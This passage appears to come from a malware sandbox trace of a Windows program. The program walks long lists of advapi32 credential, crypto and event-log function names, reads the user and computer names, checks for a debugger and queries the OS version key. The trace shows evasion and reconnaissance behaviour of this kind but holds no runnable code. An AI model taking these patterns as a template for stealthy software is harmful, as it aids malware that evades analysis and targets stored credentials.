returned="CredIsProtectedW" [0036.057] lstrlenA (lpString="CREDISPROTECTEDW") returned 16 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredMarshalCredentialA" | out: lpString1="CredMarshalCredentialA") returned="CredMarshalCredentialA" [0036.057] lstrlenA (lpString="CREDMARSHALCREDENTIALA") returned 22 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredMarshalCredentialW" | out: lpString1="CredMarshalCredentialW") returned="CredMarshalCredentialW" [0036.057] lstrlenA (lpString="CREDMARSHALCREDENTIALW") returned 22 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredProfileLoaded" | out: lpString1="CredProfileLoaded") returned="CredProfileLoaded" [0036.057] lstrlenA (lpString="CREDPROFILELOADED") returned 17 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredProfileUnloaded" | out: lpString1="CredProfileUnloaded") returned="CredProfileUnloaded" [0036.057] lstrlenA (lpString="CREDPROFILEUNLOADED") returned 19 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredProtectA" | out: lpString1="CredProtectA") returned="CredProtectA" [0036.057] lstrlenA (lpString="CREDPROTECTA") returned 12 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredProtectW" | out: lpString1="CredProtectW") returned="CredProtectW" [0036.057] lstrlenA (lpString="CREDPROTECTW") returned 12 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredReadA" | out: lpString1="CredReadA") returned="CredReadA" [0036.057] lstrlenA (lpString="CREDREADA") returned 9 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredReadByTokenHandle" | out: lpString1="CredReadByTokenHandle") returned="CredReadByTokenHandle" [0036.057] lstrlenA (lpString="CREDREADBYTOKENHANDLE") returned 21 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredReadDomainCredentialsA" | out: lpString1="CredReadDomainCredentialsA") returned="CredReadDomainCredentialsA" [0036.057] lstrlenA (lpString="CREDREADDOMAINCREDENTIALSA") returned 26 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredReadDomainCredentialsW" | out: lpString1="CredReadDomainCredentialsW") returned="CredReadDomainCredentialsW" [0036.057] lstrlenA (lpString="CREDREADDOMAINCREDENTIALSW") returned 26 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredReadW" | out: lpString1="CredReadW") returned="CredReadW" [0036.057] lstrlenA (lpString="CREDREADW") returned 9 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredRenameA" | out: lpString1="CredRenameA") returned="CredRenameA" [0036.057] lstrlenA (lpString="CREDRENAMEA") returned 11 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredRenameW" | out: lpString1="CredRenameW") returned="CredRenameW" [0036.057] lstrlenA (lpString="CREDRENAMEW") returned 11 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredRestoreCredentials" | out: lpString1="CredRestoreCredentials") returned="CredRestoreCredentials" [0036.057] lstrlenA (lpString="CREDRESTORECREDENTIALS") returned 22 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredUnmarshalCredentialA" | out: lpString1="CredUnmarshalCredentialA") returned="CredUnmarshalCredentialA" [0036.057] lstrlenA (lpString="CREDUNMARSHALCREDENTIALA") returned 24 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredUnmarshalCredentialW" | out: lpString1="CredUnmarshalCredentialW") returned="CredUnmarshalCredentialW" [0036.057] lstrlenA (lpString="CREDUNMARSHALCREDENTIALW") returned 24 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredUnprotectA" | out: lpString1="CredUnprotectA") returned="CredUnprotectA" [0036.057] lstrlenA (lpString="CREDUNPROTECTA") returned 14 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredUnprotectW" | out: lpString1="CredUnprotectW") returned="CredUnprotectW" [0036.057] lstrlenA (lpString="CREDUNPROTECTW") returned 14 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredWriteA" | out: lpString1="CredWriteA") returned="CredWriteA" [0036.057] lstrlenA (lpString="CREDWRITEA") returned 10 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredWriteDomainCredentialsA" | out: lpString1="CredWriteDomainCredentialsA") returned="CredWriteDomainCredentialsA" [0036.057] lstrlenA (lpString="CREDWRITEDOMAINCREDENTIALSA") returned 27 [0036.057] lstrcpyA (in: lpString1=0x34e430, lpString2="CredWriteDomainCredentialsW" | out: lpString1="CredWriteDomainCredentialsW") returned="CredWriteDomainCredentialsW" [0036.057] lstrlenA (lpString="CREDWRITEDOMAINCREDENTIALSW") returned 27 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CredWriteW" | out: lpString1="CredWriteW") returned="CredWriteW" [0036.058] lstrlenA (lpString="CREDWRITEW") returned 10 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CredpConvertCredential" | out: lpString1="CredpConvertCredential") returned="CredpConvertCredential" [0036.058] lstrlenA (lpString="CREDPCONVERTCREDENTIAL") returned 22 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CredpConvertOneCredentialSize" | out: lpString1="CredpConvertOneCredentialSize") returned="CredpConvertOneCredentialSize" [0036.058] lstrlenA (lpString="CREDPCONVERTONECREDENTIALSIZE") returned 29 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CredpConvertTargetInfo" | out: lpString1="CredpConvertTargetInfo") returned="CredpConvertTargetInfo" [0036.058] lstrlenA (lpString="CREDPCONVERTTARGETINFO") returned 22 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CredpDecodeCredential" | out: lpString1="CredpDecodeCredential") returned="CredpDecodeCredential" [0036.058] lstrlenA (lpString="CREDPDECODECREDENTIAL") returned 21 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CredpEncodeCredential" | out: lpString1="CredpEncodeCredential") returned="CredpEncodeCredential" [0036.058] lstrlenA (lpString="CREDPENCODECREDENTIAL") returned 21 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CredpEncodeSecret" | out: lpString1="CredpEncodeSecret") returned="CredpEncodeSecret" [0036.058] lstrlenA (lpString="CREDPENCODESECRET") returned 17 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptAcquireContextA" | out: lpString1="CryptAcquireContextA") returned="CryptAcquireContextA" [0036.058] lstrlenA (lpString="CRYPTACQUIRECONTEXTA") returned 20 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptAcquireContextW" | out: lpString1="CryptAcquireContextW") returned="CryptAcquireContextW" [0036.058] lstrlenA (lpString="CRYPTACQUIRECONTEXTW") returned 20 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptContextAddRef" | out: lpString1="CryptContextAddRef") returned="CryptContextAddRef" [0036.058] lstrlenA (lpString="CRYPTCONTEXTADDREF") returned 18 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptCreateHash" | out: lpString1="CryptCreateHash") returned="CryptCreateHash" [0036.058] lstrlenA (lpString="CRYPTCREATEHASH") returned 15 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptDecrypt" | out: lpString1="CryptDecrypt") returned="CryptDecrypt" [0036.058] lstrlenA (lpString="CRYPTDECRYPT") returned 12 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptDeriveKey" | out: lpString1="CryptDeriveKey") returned="CryptDeriveKey" [0036.058] lstrlenA (lpString="CRYPTDERIVEKEY") returned 14 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptDestroyHash" | out: lpString1="CryptDestroyHash") returned="CryptDestroyHash" [0036.058] lstrlenA (lpString="CRYPTDESTROYHASH") returned 16 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptDestroyKey" | out: lpString1="CryptDestroyKey") returned="CryptDestroyKey" [0036.058] lstrlenA (lpString="CRYPTDESTROYKEY") returned 15 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptDuplicateHash" | out: lpString1="CryptDuplicateHash") returned="CryptDuplicateHash" [0036.058] lstrlenA (lpString="CRYPTDUPLICATEHASH") returned 18 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptDuplicateKey" | out: lpString1="CryptDuplicateKey") returned="CryptDuplicateKey" [0036.058] lstrlenA (lpString="CRYPTDUPLICATEKEY") returned 17 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptEncrypt" | out: lpString1="CryptEncrypt") returned="CryptEncrypt" [0036.058] lstrlenA (lpString="CRYPTENCRYPT") returned 12 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptEnumProviderTypesA" | out: lpString1="CryptEnumProviderTypesA") returned="CryptEnumProviderTypesA" [0036.058] lstrlenA (lpString="CRYPTENUMPROVIDERTYPESA") returned 23 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptEnumProviderTypesW" | out: lpString1="CryptEnumProviderTypesW") returned="CryptEnumProviderTypesW" [0036.058] lstrlenA (lpString="CRYPTENUMPROVIDERTYPESW") returned 23 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptEnumProvidersA" | out: lpString1="CryptEnumProvidersA") returned="CryptEnumProvidersA" [0036.058] lstrlenA (lpString="CRYPTENUMPROVIDERSA") returned 19 [0036.058] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptEnumProvidersW" | out: lpString1="CryptEnumProvidersW") returned="CryptEnumProvidersW" [0036.058] lstrlenA (lpString="CRYPTENUMPROVIDERSW") returned 19 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptExportKey" | out: lpString1="CryptExportKey") returned="CryptExportKey" [0036.059] lstrlenA (lpString="CRYPTEXPORTKEY") returned 14 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptGenKey" | out: lpString1="CryptGenKey") returned="CryptGenKey" [0036.059] lstrlenA (lpString="CRYPTGENKEY") returned 11 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptGenRandom" | out: lpString1="CryptGenRandom") returned="CryptGenRandom" [0036.059] lstrlenA (lpString="CRYPTGENRANDOM") returned 14 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptGetDefaultProviderA" | out: lpString1="CryptGetDefaultProviderA") returned="CryptGetDefaultProviderA" [0036.059] lstrlenA (lpString="CRYPTGETDEFAULTPROVIDERA") returned 24 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptGetDefaultProviderW" | out: lpString1="CryptGetDefaultProviderW") returned="CryptGetDefaultProviderW" [0036.059] lstrlenA (lpString="CRYPTGETDEFAULTPROVIDERW") returned 24 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptGetHashParam" | out: lpString1="CryptGetHashParam") returned="CryptGetHashParam" [0036.059] lstrlenA (lpString="CRYPTGETHASHPARAM") returned 17 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptGetKeyParam" | out: lpString1="CryptGetKeyParam") returned="CryptGetKeyParam" [0036.059] lstrlenA (lpString="CRYPTGETKEYPARAM") returned 16 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptGetProvParam" | out: lpString1="CryptGetProvParam") returned="CryptGetProvParam" [0036.059] lstrlenA (lpString="CRYPTGETPROVPARAM") returned 17 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptGetUserKey" | out: lpString1="CryptGetUserKey") returned="CryptGetUserKey" [0036.059] lstrlenA (lpString="CRYPTGETUSERKEY") returned 15 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptHashData" | out: lpString1="CryptHashData") returned="CryptHashData" [0036.059] lstrlenA (lpString="CRYPTHASHDATA") returned 13 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptHashSessionKey" | out: lpString1="CryptHashSessionKey") returned="CryptHashSessionKey" [0036.059] lstrlenA (lpString="CRYPTHASHSESSIONKEY") returned 19 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptImportKey" | out: lpString1="CryptImportKey") returned="CryptImportKey" [0036.059] lstrlenA (lpString="CRYPTIMPORTKEY") returned 14 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptReleaseContext" | out: lpString1="CryptReleaseContext") returned="CryptReleaseContext" [0036.059] lstrlenA (lpString="CRYPTRELEASECONTEXT") returned 19 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptSetHashParam" | out: lpString1="CryptSetHashParam") returned="CryptSetHashParam" [0036.059] lstrlenA (lpString="CRYPTSETHASHPARAM") returned 17 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptSetKeyParam" | out: lpString1="CryptSetKeyParam") returned="CryptSetKeyParam" [0036.059] lstrlenA (lpString="CRYPTSETKEYPARAM") returned 16 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptSetProvParam" | out: lpString1="CryptSetProvParam") returned="CryptSetProvParam" [0036.059] lstrlenA (lpString="CRYPTSETPROVPARAM") returned 17 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptSetProviderA" | out: lpString1="CryptSetProviderA") returned="CryptSetProviderA" [0036.059] lstrlenA (lpString="CRYPTSETPROVIDERA") returned 17 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptSetProviderExA" | out: lpString1="CryptSetProviderExA") returned="CryptSetProviderExA" [0036.059] lstrlenA (lpString="CRYPTSETPROVIDEREXA") returned 19 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptSetProviderExW" | out: lpString1="CryptSetProviderExW") returned="CryptSetProviderExW" [0036.059] lstrlenA (lpString="CRYPTSETPROVIDEREXW") returned 19 [0036.059] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptSetProviderW" | out: lpString1="CryptSetProviderW") returned="CryptSetProviderW" [0036.060] lstrlenA (lpString="CRYPTSETPROVIDERW") returned 17 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptSignHashA" | out: lpString1="CryptSignHashA") returned="CryptSignHashA" [0036.060] lstrlenA (lpString="CRYPTSIGNHASHA") returned 14 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptSignHashW" | out: lpString1="CryptSignHashW") returned="CryptSignHashW" [0036.060] lstrlenA (lpString="CRYPTSIGNHASHW") returned 14 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptVerifySignatureA" | out: lpString1="CryptVerifySignatureA") returned="CryptVerifySignatureA" [0036.060] lstrlenA (lpString="CRYPTVERIFYSIGNATUREA") returned 21 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="CryptVerifySignatureW" | out: lpString1="CryptVerifySignatureW") returned="CryptVerifySignatureW" [0036.060] lstrlenA (lpString="CRYPTVERIFYSIGNATUREW") returned 21 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="DecryptFileA" | out: lpString1="DecryptFileA") returned="DecryptFileA" [0036.060] lstrlenA (lpString="DECRYPTFILEA") returned 12 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="DecryptFileW" | out: lpString1="DecryptFileW") returned="DecryptFileW" [0036.060] lstrlenA (lpString="DECRYPTFILEW") returned 12 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteAce" | out: lpString1="DeleteAce") returned="DeleteAce" [0036.060] lstrlenA (lpString="DELETEACE") returned 9 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteService" | out: lpString1="DeleteService") returned="DeleteService" [0036.060] lstrlenA (lpString="DELETESERVICE") returned 13 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="DeregisterEventSource" | out: lpString1="DeregisterEventSource") returned="DeregisterEventSource" [0036.060] lstrlenA (lpString="DEREGISTEREVENTSOURCE") returned 21 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="DestroyPrivateObjectSecurity" | out: lpString1="DestroyPrivateObjectSecurity") returned="DestroyPrivateObjectSecurity" [0036.060] lstrlenA (lpString="DESTROYPRIVATEOBJECTSECURITY") returned 28 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="DuplicateEncryptionInfoFile" | out: lpString1="DuplicateEncryptionInfoFile") returned="DuplicateEncryptionInfoFile" [0036.060] lstrlenA (lpString="DUPLICATEENCRYPTIONINFOFILE") returned 27 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="DuplicateToken" | out: lpString1="DuplicateToken") returned="DuplicateToken" [0036.060] lstrlenA (lpString="DUPLICATETOKEN") returned 14 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="DuplicateTokenEx" | out: lpString1="DuplicateTokenEx") returned="DuplicateTokenEx" [0036.060] lstrlenA (lpString="DUPLICATETOKENEX") returned 16 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfBackupEventLogFileA" | out: lpString1="ElfBackupEventLogFileA") returned="ElfBackupEventLogFileA" [0036.060] lstrlenA (lpString="ELFBACKUPEVENTLOGFILEA") returned 22 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfBackupEventLogFileW" | out: lpString1="ElfBackupEventLogFileW") returned="ElfBackupEventLogFileW" [0036.060] lstrlenA (lpString="ELFBACKUPEVENTLOGFILEW") returned 22 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfChangeNotify" | out: lpString1="ElfChangeNotify") returned="ElfChangeNotify" [0036.060] lstrlenA (lpString="ELFCHANGENOTIFY") returned 15 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfClearEventLogFileA" | out: lpString1="ElfClearEventLogFileA") returned="ElfClearEventLogFileA" [0036.060] lstrlenA (lpString="ELFCLEAREVENTLOGFILEA") returned 21 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfClearEventLogFileW" | out: lpString1="ElfClearEventLogFileW") returned="ElfClearEventLogFileW" [0036.060] lstrlenA (lpString="ELFCLEAREVENTLOGFILEW") returned 21 [0036.060] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfCloseEventLog" | out: lpString1="ElfCloseEventLog") returned="ElfCloseEventLog" [0036.061] lstrlenA (lpString="ELFCLOSEEVENTLOG") returned 16 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfDeregisterEventSource" | out: lpString1="ElfDeregisterEventSource") returned="ElfDeregisterEventSource" [0036.061] lstrlenA (lpString="ELFDEREGISTEREVENTSOURCE") returned 24 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfFlushEventLog" | out: lpString1="ElfFlushEventLog") returned="ElfFlushEventLog" [0036.061] lstrlenA (lpString="ELFFLUSHEVENTLOG") returned 16 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfNumberOfRecords" | out: lpString1="ElfNumberOfRecords") returned="ElfNumberOfRecords" [0036.061] lstrlenA (lpString="ELFNUMBEROFRECORDS") returned 18 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfOldestRecord" | out: lpString1="ElfOldestRecord") returned="ElfOldestRecord" [0036.061] lstrlenA (lpString="ELFOLDESTRECORD") returned 15 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfOpenBackupEventLogA" | out: lpString1="ElfOpenBackupEventLogA") returned="ElfOpenBackupEventLogA" [0036.061] lstrlenA (lpString="ELFOPENBACKUPEVENTLOGA") returned 22 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfOpenBackupEventLogW" | out: lpString1="ElfOpenBackupEventLogW") returned="ElfOpenBackupEventLogW" [0036.061] lstrlenA (lpString="ELFOPENBACKUPEVENTLOGW") returned 22 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfOpenEventLogA" | out: lpString1="ElfOpenEventLogA") returned="ElfOpenEventLogA" [0036.061] lstrlenA (lpString="ELFOPENEVENTLOGA") returned 16 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfOpenEventLogW" | out: lpString1="ElfOpenEventLogW") returned="ElfOpenEventLogW" [0036.061] lstrlenA (lpString="ELFOPENEVENTLOGW") returned 16 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfReadEventLogA" | out: lpString1="ElfReadEventLogA") returned="ElfReadEventLogA" [0036.061] lstrlenA (lpString="ELFREADEVENTLOGA") returned 16 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfReadEventLogW" | out: lpString1="ElfReadEventLogW") returned="ElfReadEventLogW" [0036.061] lstrlenA (lpString="ELFREADEVENTLOGW") returned 16 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfRegisterEventSourceA" | out: lpString1="ElfRegisterEventSourceA") returned="ElfRegisterEventSourceA" [0036.061] lstrlenA (lpString="ELFREGISTEREVENTSOURCEA") returned 23 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfRegisterEventSourceW" | out: lpString1="ElfRegisterEventSourceW") returned="ElfRegisterEventSourceW" [0036.061] lstrlenA (lpString="ELFREGISTEREVENTSOURCEW") returned 23 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfReportEventA" | out: lpString1="ElfReportEventA") returned="ElfReportEventA" [0036.061] lstrlenA (lpString="ELFREPORTEVENTA") returned 15 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfReportEventAndSourceW" | out: lpString1="ElfReportEventAndSourceW") returned="ElfReportEventAndSourceW" [0036.061] lstrlenA (lpString="ELFREPORTEVENTANDSOURCEW") returned 24 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="ElfReportEventW" | out: lpString1="ElfReportEventW") returned="ElfReportEventW" [0036.061] lstrlenA (lpString="ELFREPORTEVENTW") returned 15 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="EnableTrace" | out: lpString1="EnableTrace") returned="EnableTrace" [0036.061] lstrlenA (lpString="ENABLETRACE") returned 11 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="EnableTraceEx" | out: lpString1="EnableTraceEx") returned="EnableTraceEx" [0036.061] lstrlenA (lpString="ENABLETRACEEX") returned 13 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="EnableTraceEx2" | out: lpString1="EnableTraceEx2") returned="EnableTraceEx2" [0036.061] lstrlenA (lpString="ENABLETRACEEX2") returned 14 [0036.061] lstrcpyA (in: lpString1=0x34e430, lpString2="EncryptFileA" | out: lpString1="EncryptFileA") returned="EncryptFileA" [0036.061] GetUserNameW (in: lpBuffer=0xd0000, pcbBuffer=0x34f26c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x34f26c) returned 1 [0036.064] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0xe0000 [0036.065] GetComputerNameW (in: lpBuffer=0xe0000, nSize=0x34f26c | out: lpBuffer="XDUWTFONO", nSize=0x34f26c) returned 1 [0036.065] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0xf0000 [0036.065] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x100000 [0036.065] VirtualAlloc (lpAddress=0x0, dwSize=0xd6, flAllocationType=0x3000, flProtect=0x4) returned 0x110000 [0036.066] IsDebuggerPresent () returned 0 [0036.066] IsDebuggerPresent () returned 0 [0036.066] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x34f0b8 | out: phkResult=0x34f0b8*=0xd4) returned 0x0 [0036.066] lstrlenA (lpString="advapi32.dll") returned 12 [0036.067] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x74d40000 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="A_SHAFinal" | out: lpString1="A_SHAFinal") returned="A_SHAFinal" [0036.067] lstrlenA (lpString="A_SHAFINAL") returned 10 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="A_SHAInit" | out: lpString1="A_SHAInit") returned="A_SHAInit" [0036.067] lstrlenA (lpString="A_SHAINIT") returned 9 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="A_SHAUpdate" | out: lpString1="A_SHAUpdate") returned="A_SHAUpdate" [0036.067] lstrlenA (lpString="A_SHAUPDATE") returned 11 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AbortSystemShutdownA" | out: lpString1="AbortSystemShutdownA") returned="AbortSystemShutdownA" [0036.067] lstrlenA (lpString="ABORTSYSTEMSHUTDOWNA") returned 20 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AbortSystemShutdownW" | out: lpString1="AbortSystemShutdownW") returned="AbortSystemShutdownW" [0036.067] lstrlenA (lpString="ABORTSYSTEMSHUTDOWNW") returned 20 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheck" | out: lpString1="AccessCheck") returned="AccessCheck" [0036.067] lstrlenA (lpString="ACCESSCHECK") returned 11 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheckAndAuditAlarmA" | out: lpString1="AccessCheckAndAuditAlarmA") returned="AccessCheckAndAuditAlarmA" [0036.067] lstrlenA (lpString="ACCESSCHECKANDAUDITALARMA") returned 25 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheckAndAuditAlarmW" | out: lpString1="AccessCheckAndAuditAlarmW") returned="AccessCheckAndAuditAlarmW" [0036.067] lstrlenA (lpString="ACCESSCHECKANDAUDITALARMW") returned 25 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheckByType" | out: lpString1="AccessCheckByType") returned="AccessCheckByType" [0036.067] lstrlenA (lpString="ACCESSCHECKBYTYPE") returned 17 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheckByTypeAndAuditAlarmA" | out: lpString1="AccessCheckByTypeAndAuditAlarmA") returned="AccessCheckByTypeAndAuditAlarmA" [0036.067] lstrlenA (lpString="ACCESSCHECKBYTYPEANDAUDITALARMA") returned 31 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheckByTypeAndAuditAlarmW" | out: lpString1="AccessCheckByTypeAndAuditAlarmW") returned="AccessCheckByTypeAndAuditAlarmW" [0036.067] lstrlenA (lpString="ACCESSCHECKBYTYPEANDAUDITALARMW") returned 31 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheckByTypeResultList" | out: lpString1="AccessCheckByTypeResultList") returned="AccessCheckByTypeResultList" [0036.067] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLIST") returned 27 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheckByTypeResultListAndAuditAlarmA" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmA") returned="AccessCheckByTypeResultListAndAuditAlarmA" [0036.067] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMA") returned 41 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheckByTypeResultListAndAuditAlarmByHandleA" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA") returned="AccessCheckByTypeResultListAndAuditAlarmByHandleA" [0036.067] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMBYHANDLEA") returned 49 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheckByTypeResultListAndAuditAlarmByHandleW" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW") returned="AccessCheckByTypeResultListAndAuditAlarmByHandleW" [0036.067] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMBYHANDLEW") returned 49 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AccessCheckByTypeResultListAndAuditAlarmW" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmW") returned="AccessCheckByTypeResultListAndAuditAlarmW" [0036.067] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMW") returned 41 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AddAccessAllowedAce" | out: lpString1="AddAccessAllowedAce") returned="AddAccessAllowedAce" [0036.067] lstrlenA (lpString="ADDACCESSALLOWEDACE") returned 19 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AddAccessAllowedAceEx" | out: lpString1="AddAccessAllowedAceEx") returned="AddAccessAllowedAceEx" [0036.067] lstrlenA (lpString="ADDACCESSALLOWEDACEEX") returned 21 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AddAccessAllowedObjectAce" | out: lpString1="AddAccessAllowedObjectAce") returned="AddAccessAllowedObjectAce" [0036.067] lstrlenA (lpString="ADDACCESSALLOWEDOBJECTACE") returned 25 [0036.067] lstrcpyA (in: lpString1=0x34e420, lpString2="AddAccessDeniedAce" | out: lpString1="AddAccessDeniedAce") returned="AddAccessDeniedAce" [0036.067] lstrlenA (lpString="ADDACCESSDENIEDACE") returned 18 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AddAccessDeniedAceEx" | out: lpString1="AddAccessDeniedAceEx") returned="AddAccessDeniedAceEx" [0036.068] lstrlenA (lpString="ADDACCESSDENIEDACEEX") returned 20 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AddAccessDeniedObjectAce" | out: lpString1="AddAccessDeniedObjectAce") returned="AddAccessDeniedObjectAce" [0036.068] lstrlenA (lpString="ADDACCESSDENIEDOBJECTACE") returned 24 [0036.068] lstrcpyA (in: lpString1=0x34e420, 